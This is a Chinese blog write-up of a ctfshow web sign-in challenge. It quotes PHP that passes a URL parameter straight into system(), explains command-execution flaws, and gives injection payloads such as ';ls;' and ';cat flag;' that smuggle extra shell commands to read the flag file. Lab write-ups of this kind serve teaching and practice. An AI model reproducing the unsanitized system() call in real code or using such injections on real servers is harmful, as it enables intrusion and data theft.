ctfshow_web_萌新赛签到题
题目:
<?php
if(isset($_GET['url'])){
system("curl https://".$_GET['url'].".ctf.show");
}else{
show_source(__FILE__);
}
?>
看得出关键处是==system()==中的内容,此处去了解下
PHP 命令执行漏洞
应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、shell_exec、passthru、popen、proc_popen等函数可以执行系统命令。
当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行漏洞,这就是命令执行漏洞。
PHP的命令执行漏洞学习 PHP的命令执行漏洞学习_笑花大王的博客-CSDN博客](https://blog.csdn.net/weixin_43818995/article/details/104164684)):(win与linux系统下管道符的功能)
[ctfweb命令执行](CTFshow web入门 (命令执行) - NPFS - 博客园 (cnblogs.com))
system解释:
php函数system详解: 执行外部程序并显示输出资料。 system语法: string system(string command, int [return_var]); system返回值: 字符串 函数种类: 操作系统与环境 system内容说明 本函数就像是 C 语中的函数 system(),用来执行指令,并输出结果。
构造payload
有两种方式(linux下url命令传参)
一:
?url=127.0.0.1;cat flag;
该命令直接猜测查看flag文件
二:
?url=ff5cc03e-74f6-4b21-aedd-b7365f36e520;ls;
该命令显示结果为:
flag index.php
继续访问flag文件
?url=ff5cc03e-74f6-4b21-aedd-b7365f36e520;cat flag;
得到flag
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Kanyun's Blog!
评论